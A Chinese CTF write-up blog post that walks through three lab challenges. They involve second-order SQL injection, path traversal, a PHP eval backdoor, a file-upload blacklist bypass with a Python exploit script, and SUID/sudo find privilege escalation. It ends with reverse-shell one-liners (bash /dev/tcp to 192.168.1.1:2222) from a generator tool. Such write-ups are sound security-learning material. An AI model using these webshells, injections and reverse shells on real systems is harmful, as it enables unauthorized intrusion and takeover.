shell&suid实战


[湖湘杯 2021 final]Penetratable

6分
SUID提权二次注入目录穿越
首先我们进入观察一下url和这个页面显示什么,再看下源码什么的

1
http://node4.anna.nssctf.cn:28286/?id=1

显示的是一个root的
我们把这个id=1换为id=2然后再看看显示什么,显示的是admin的
两者都查看一下网页源代码,好像都没有什么有用的这个信息
扫一下目录看看
有用的大概是下面几个

1
2
3
4
5
6
7
8
[16:08:05] 301 -  335B  - /app  ->  http://node4.anna.nssctf.cn:28286/app/
[16:08:05] 200 - 520B - /app/
[16:08:09] 301 - 338B - /config -> http://node4.anna.nssctf.cn:28286/config/
[16:08:09] 200 - 487B - /config/
[16:08:23] 200 - 0B - /phpinfo.php
[16:08:27] 403 - 288B - /server-status/
[16:08:27] 403 - 288B - /server-status
[16:08:30] 301 - 338B - /static -> http://node4.anna.nssctf.cn:28286/static/

然后我们访问这几个页面
访问第一个/app

1
2
3
4
5
[PARENTDIR]	Parent Directory	 	- 	 
[ ] admin.class.php 2021-11-17 02:35 2.4K
[ ] app.class.php 2021-12-06 07:38 3.9K
[ ] root.class.php 2021-11-17 02:35 5.6K
[ ] user.class.php 2021-11-17 02:35 2.7K

但是这几个再打开发现什么都没有
我们再来看下其他的/config

1
2
3
[PARENTDIR]	Parent Directory	 	- 	 
[ ] config.php 2021-12-07 02:06 554
[ ] func.php 2021-11-17 02:35 249

几乎也是一样的
phpinfo那个页面就是0kb的,没有什么用的
访问这个http://node4.anna.nssctf.cn:28286/static/
这个就是比较有用的一个页面了
可以看到一些有用的文件什么的

1
2
3
4
5
6
7
8
9
10
11
12
 [PARENTDIR]	Parent Directory	 	- 	 
[TXT] adminHome.html 2021-11-17 02:35 15K
[TXT] adminUsers.html 2021-11-17 02:35 15K
[TXT] app.html 2021-11-17 02:35 15K
[DIR] bootstrap5/ 2021-12-06 15:14 -
[DIR] css/ 2021-12-06 15:14 -
[DIR] img/ 2021-12-06 15:14 -
[DIR] js/ 2021-12-06 15:14 -
[TXT] rootHome.html 2021-11-17 02:35 14K
[TXT] rootLog.html 2021-11-17 02:35 15K
[TXT] rootUsers.html 2021-11-17 02:35 15K
[TXT] user.html 2021-11-17 02:35 14K

我们这里先随便注册一个账号进入,对其进行抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?c=app&m=login HTTP/1.1
Host: node4.anna.nssctf.cn:28286
Content-Length: 51
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://node4.anna.nssctf.cn:28286
Referer: http://node4.anna.nssctf.cn:28286/?id=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4bd9fcd7989bb90a54897bd89be5548a
Connection: close

name=YWRtaW4x&pass=c4ca4238a0b923820dcc509a6f75849b

这个是一个登陆的页面
比较有用的就是这个phpsessid和这个name&passwd的这个加密方式
我们可以看到源码的一个js,就是req.js这个文件
里面的这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
function login(){
let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(0).val()))
let pass=hex_md5($(".form-floating>input").eq(1).val())
$.ajax({
url: '/?c=app&m=login',
type: 'post',
data: 'name=' + name+'&pass=' + pass,
// async:true,
dataType: 'text',
success: function(data){
let res=$.parseJSON(data);
if (res['login']){
switch (res['type']){
case 'user': location.href="/?c=user"; break;
case 'admin': location.href="/?c=admin"; break;
case 'root': location.href="/?c=root"; break;
}
}else if(res['alertFlag']){
alert(res['alertData']);
}
}
});
}

function userUpdateInfo(){
let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
$.ajax({
url: '/?c=user&m=updateUserInfo',
type: 'post',
data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// async:true,
dataType: 'text',
success: function(data){
alertHandle(data);
}
});
}

function signOut(){
$.ajax({
url: '/?c=app&m=signOut',
type: 'get',
dataType: 'text',
success: function(data){
alertHandle(data);
}
});
}

function alertHandle(data){
let res=$.parseJSON(data);
if(res['alertFlag']){
alert(res['alertData']);
}
if(res['location']){
location.href=res['location'];
}
}

function changeAdminPage(type){
let page=$('.page').text();
if (type=='next'){
location.href='?c=admin&m=getUserList&page='+(parseInt(page)+1);
}
if (type=='last'){
location.href='?c=admin&m=getUserList&page='+(parseInt(page)-1);
}
}
function changeRootPage(type){
let page=$('.page').text();
if (type=='next'){
location.href='?c=root&m=getUserInfo&page='+(parseInt(page)+1);
}
if (type=='last'){
location.href='?c=root&m=getUserInfo&page='+(parseInt(page)-1);
}
}

function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}

function adminHome(){
location.href='/?c=root'
}

function getUserInfo(){
location.href='/?c=root&m=getUserInfo'
}

function getLogList(){
location.href='/?c=root&m=getLogList'
}

function downloadLog(filename){
location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}

function register(){
let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(2).val()))
let pass=hex_md5($(".form-floating>input").eq(3).val())
let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val()))
$.ajax({
url: '/?c=app&m=register',
type: 'post',
data: 'name=' + name+'&pass=' + pass +'&saying=' +saying,
dataType: 'text',
success: function(data){
// console.log(data);
alertHandle(data);
}
});
}

能看到我们的这个name是通过base64的方式,然后这个pass是我们的hex的方式
还有一些其他的方法,比如说更新密码的等等
这里我们好好地看源码来得知一些有用的信息
一个是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}

在用户是admin的情况下,能够更改一些信息
第二个重要的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function adminHome(){
location.href='/?c=root'
}

function getUserInfo(){
location.href='/?c=root&m=getUserInfo'
}

function getLogList(){
location.href='/?c=root&m=getLogList'
}

function downloadLog(filename){
location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}

在root的情况下,我们能够拿到userinfo或者日志等等重要的文件
接下来的一步就比较接近CTF的这种比较巧的那么一个思路了
或者说,题目已经提示你了是二阶注入?那什么是二阶注入呢

1
2
3
4
5
6
7
比如我要登陆admin
我输入admin'--+

然后其实我们的这个注册admin'--+是已经放入数据库的了
我们
然后我们再对注册的账号登陆,然后修改密码
此时我们会发现,admin的密码被修改了,而我们注册的这个admin'--+却没有被修改

看下源码知道原因

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
1
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

–+或者后面的这个#把后面的代码都注释掉了
这里的思路一摸一样
然后我们登陆了admin之后

1
http://node4.anna.nssctf.cn:28055/?c=admin

发现多了两个页面

1
c=admin&m=getUserList

当然也没有什么用
这里我们注意这个保留一下sessionid什么的,这个还是很重要的
接下来的思路就是我们想要登陆进root,但是爆破密码等等操作可能都不可以的,所以我们换一种思路
登陆?c=admin&m=updatePass是可以修改root的密码的
首先,注意区分一下hex十六进制和MD5hash。做题时居然还弄混了一下
然后我在bp上弄,打开自带的浏览器失败了,但是直接在hackbar上成功了
应该是bp带的cookie只有phpsessid的愿意

1
name=cm9vdA==&newPass=d93591bdf7860e1e4ee2fca799911215&oldPass=d93591bdf7860e1e4ee2fca799911215&saying=MQ==

成功了回显

1
{"alertData":"\u4fee\u6539\u6210\u529f","location":"\/?c=admin","alertFlag":1}

不成功的回显

1
{"alertData":"\u7f3a\u5c11\u53c2\u6570","alertFlag":1}

进入了root之后有一个日志的页面
我们可以看看
现在就可以通过

1
?c=root&m=downloadRequestLog&filename=../../../../../var/www/html/phpinfo.php

等,来查看我们的这个文件
找到shell

1
2
3
4
5
<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

但是,要传入的这个pass_31d5df001717只能靠写脚本来碰撞了,输入字典或者脚本
然后得到为1q2w3e
写木马

1
/phpinfo?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);

然后连接蚁剑
为什么要在.phpinfo下面写木马?因为我们要执行的这个函数就是要在phpinfo下面的
只是我们直接去访问phpinfo是没有什么用的,无任何回显什么的
很成功的就连接了蚁剑了
接下来找flag找不到
我们这里尝试suid提权

1
2
find / -user root -perm -4000 -print 2>/dev/null
#查找拥有suid的二进制文件
1
2
3
4
5
6
7
8
9
10
11
 $ find / -user root -perm -4000 -print 2>/dev/null
/bin/su
/bin/sed
/bin/umount
/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign

有一个sed
用sed来读取文件

1
2
/bin/sed '' /flag   #读取

[HZNUCTF 2023 final]ezgo

46分
权限提升Linux命令SUID提权
题目描述

https://pkg.go.dev/mvdan.cc/sh@v2.6.4+incompatible/interp#example-package .
Code looks like that. Can u escaped the sh-parser.
一进去先按照要求,post一个cmd=shit进去,这里是要发到/cmd目录下嘛?都有可能吧
发现都不可以,这里参照wp来解决
1.先找到bash命令

1
shit=echo /bin/*
1
/bin/bash /bin/cat /bin/chgrp /bin/chmod /bin/chown /bin/cp /bin/dash /bin/date /bin/dd /bin/df /bin/dir /bin/dmesg /bin/dnsdomainname /bin/domainname /bin/echo /bin/egrep /bin/false /bin/fgrep /bin/findmnt /bin/grep /bin/gunzip /bin/gzexe /bin/gzip /bin/hostname /bin/ln /bin/login /bin/ls /bin/lsblk /bin/mkdir /bin/mknod /bin/mktemp /bin/more /bin/mount /bin/mountpoint /bin/mv /bin/nisdomainname /bin/pidof /bin/pwd /bin/rbash /bin/readlink /bin/rm /bin/rmdir /bin/run-parts /bin/sed /bin/sh /bin/sleep /bin/stty /bin/su /bin/sync /bin/tar /bin/tempfile /bin/touch /bin/true /bin/umount /bin/uname /bin/uncompress /bin/vdir /bin/wdctl /bin/ypdomainname /bin/zcat /bin/zcmp /bin/zdiff /bin/zegrep /bin/zfgrep /bin/zforce /bin/zgrep /bin/zless /bin/zmore /bin/znew

2.发现只有root权限才能读取flag文件

1
shit=/bin/bash -c "ls -al /"

回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
total 11308
drwxr-xr-x 1 root root 4096 Sep 3 07:37 .
drwxr-xr-x 1 root root 4096 Sep 3 07:37 ..
-rwxr-xr-x 1 root root 0 Sep 3 07:37 .dockerenv
drwxr-xr-x 2 root root 4096 Mar 20 2023 bin
drwxr-xr-x 2 root root 4096 Dec 9 2022 boot
drwxr-xr-x 5 root root 340 Sep 3 07:37 dev
drwxr-xr-x 1 root root 4096 Sep 3 07:37 etc
-r-------- 1 root root 45 Sep 3 07:37 flag
drwxr-xr-x 2 root root 4096 Dec 9 2022 home
drwxr-xr-x 1 root root 4096 Mar 20 2023 lib
drwxr-xr-x 2 root root 4096 Mar 20 2023 lib64
-rwxr-xr-x 1 root root 11488757 Apr 1 2023 main
drwxr-xr-x 2 root root 4096 Mar 20 2023 media
drwxr-xr-x 2 root root 4096 Mar 20 2023 mnt
drwxr-xr-x 2 root root 4096 Mar 20 2023 opt
dr-xr-xr-x 330 root root 0 Sep 3 07:37 proc
drwx------ 2 root root 4096 Mar 20 2023 root
drwxr-xr-x 3 root root 4096 Mar 20 2023 run
drwxr-xr-x 2 root root 4096 Mar 20 2023 sbin
drwxr-xr-x 2 root root 4096 Mar 20 2023 srv
-rwxr-xr-x 1 root root 181 Apr 3 2023 start.sh
dr-xr-xr-x 13 root root 0 Sep 3 07:37 sys
drwxrwxrwt 1 root root 4096 Apr 3 2023 tmp
drwxr-xr-x 1 root root 4096 Mar 20 2023 usr
drwxr-xr-x 1 root root 4096 Mar 20 2023 var

3.查找提权命令,发现可以当前用户ctf可以sudo执行find命令

1
2
3
4
5
6
7
8
shit=/bin/bash -c "whoami"
ctf
shit=/bin/bash -c "sudo -l"
Matching Defaults entries for ctf on a03bdbf1e49f495c:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ctf may run the following commands on a03bdbf1e49f495c:
(root) NOPASSWD: /usr/bin/find

4.最后就是一些sudo提权的基本功了

1
2
shit=/bin/bash -c "sudo find /flag -exec id \%3B"
shit=/bin/bash -c "sudo find /flag -exec tac /flag \%3B"

当然,这里的思路不是很完整的
比较完整的思路如下
首先还是第一步,到/cmd命令下传shit这个参数可以先令其等于1
我们想要的是执行命令来拿到flag,但是这里又没有题目给的可以执行命令的函数什么的
我们这里就很容易想到/user/bin目录下所有用户都可以以用的应用程序(绝对路劲执行命令)
/bin 存放所有用户皆可用的系统程序,系统启动或者系统修复时可用(在没有挂载 /usr 目录时就可以使用)

1
2
3
4
5
/sbin 存放超级用户才能使用的系统程序
/usr/bin 存放所有用户都可用的应用程序
/usr/sbin 存放超级用户才能使用的应用程序
/usr/local/bin 存放所有用户都可用的与本地机器无关的程序
/usr/local/sbin 存放超级用户才能使用的与本地机器无关的程序

我们输入/user/bin/sudo可以发现,sudo命令是可以用的
此时,我们再输入/usr/bin/sudo -l
可以看到当前可以用的命令

1
2
3
4
5
Matching Defaults entries for ctf on b9af8ebdad254c1c:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ctf may run the following commands on b9af8ebdad254c1c:
(root) NOPASSWD: /usr/bin/find

可以发现find命令是不需要passwd的,并且是root了的情况下
我们很容易想到的就是sudo find提权

1
2
3
4
5
shit=/usr/bin/sudo find /flag -exec cat /flag \;
shit=/usr/bin/sudo find /usr/bin/sudo -exec cat /flag \;
shit=/usr/bin/sudo find /usr/bin/find -exec cat /flag \;

# find (一个路径或文件,必须存在) -exec 执行命令 \;(\; 是-exec 参数的结尾标志)

[GHCTF 2024 新生赛]PermissionDenied

186分
SUID提权文件上传diable_function绕过
题目描述

chmod 740 /flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

function blacklist($file){
$deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini");
$ext = pathinfo($file, PATHINFO_EXTENSION);
foreach ($deny_ext as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}

if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$filecontent = file_get_contents($_FILES['file']['tmp_name']);
if(blacklist($filename)){
file_put_contents($filename, $filecontent);
echo "Success!!!";
} else {
echo "Hacker!!!";
}
} else{
highlight_file(__FILE__);

一进去会发现有一个黑名单,主要是针对我们上传文件的时候会有的一些检测
这里是利用file_put_content函数有一个文件解析的漏洞

1
当上传123.php/.的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件,最终上传创建的是123.php

这里我们可以通过py来实现我们的传参的这么一个过程
我们在windows下面直接来命令一个1.php/.会发现在windows下创建不了
这道题目也是对于我来说比较少见到的一种做法
同一个目录下放我们的exp

1
2
3
4
5
6
7
8
9
10
import requests
url = "http://node6.anna.nssctf.cn:23009/" # 目标URL(这里填你题目的URL)
file = {
"file": ("123.php%2f.", open('1.php', 'rb')) # 文件名和打开的文件
}
try:
res = requests.post(url=url, files=file) # 发送POST请求
print(res.text) # 打印服务器响应
except Exception as e:
print("发生错误:", e)

1.php这个木马

1
2
3
<?php eval($_POST[0]);phpinfo();?>

#这里的0是蚁剑的连接密码

然后我们访问/123.php成功了
蚁剑连接
我们看到flag大小45b,是有内容的,但是无法查看,权限是0740
权限 0740 表示文件所有者可以读、写和执行该文件,所属组用户只能读取该文件,而其他用户没有任何权限
连接好蚁剑之后,我们打开终端,发现我们执行不了命令
使用蚁剑的绕过disable_function功能达到能实现命令的功能
然后注意选择,这里选的是userFilter。然后就可以执行命令了

1
2
find / -perm -u=s -type f 2>/dev/null
/usr/local/s3cRetTt

这样就拿到flag了

小工具

地址(这里直接给releases了,直接假设你没有go的环境)

1
revshell_windows_amd64.exe

下载了这个
然后在存放的有文件的目录下打开cmd,然后我们输入

1
.\revshell_windows_amd64.exe

这样就运行成功了,就可以按照参考的文档来生成我们需要的东西了
类似于如下的使用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
>.\revshell_windows_amd64.exe 192.168.1.1 2222 bash
_____ _____ _ _ _ _____
| __ \ / ____| | | | | / ____|
| |__) |_____ __ | (___ | |__ ___| | | | | __ ___ _ __
| _ // _ \ \ / / \___ \| '_ \ / _ \ | | | | |_ |/ _ \ '_ \
| | \ \ __/\ V / ____) | | | | __/ | | | |__| | __/ | | |
|_| \_\___| \_/ |_____/|_| |_|\___|_|_| \_____|\___|_| |_|

| 💻 Author: Gh0stX | 🍎 Version: 1.0 |

------------------------------------------
Bash -i:
bash -i >& /dev/tcp/192.168.1.1/2222 0>&1
/bin/bash -i >& /dev/tcp/192.168.1.1/2222 0>&1
------------------------------------------
Bash 196:
0<&196;exec 196<>/dev/tcp/192.168.1.1/2222; bash <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/192.168.1.1/2222; /bin/bash <&196 >&196 2>&196
------------------------------------------
Bash read line:
exec 5<>/dev/tcp/192.168.1.1/2222;cat <&5 | while read line; do $line 2>&5 >&5; done
------------------------------------------
Bash 5:
bash -i 5<> /dev/tcp/192.168.1.1/2222 0<&5 1>&5 2>&5
/bin/bash -i 5<> /dev/tcp/192.168.1.1/2222 0<&5 1>&5 2>&5
------------------------------------------
Bash UDP:
bash -i >& /dev/udp/192.168.1.1/2222 0>&1
/bin/bash -i >& /dev/udp/192.168.1.1/2222 0>&1

D:\shell>

文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录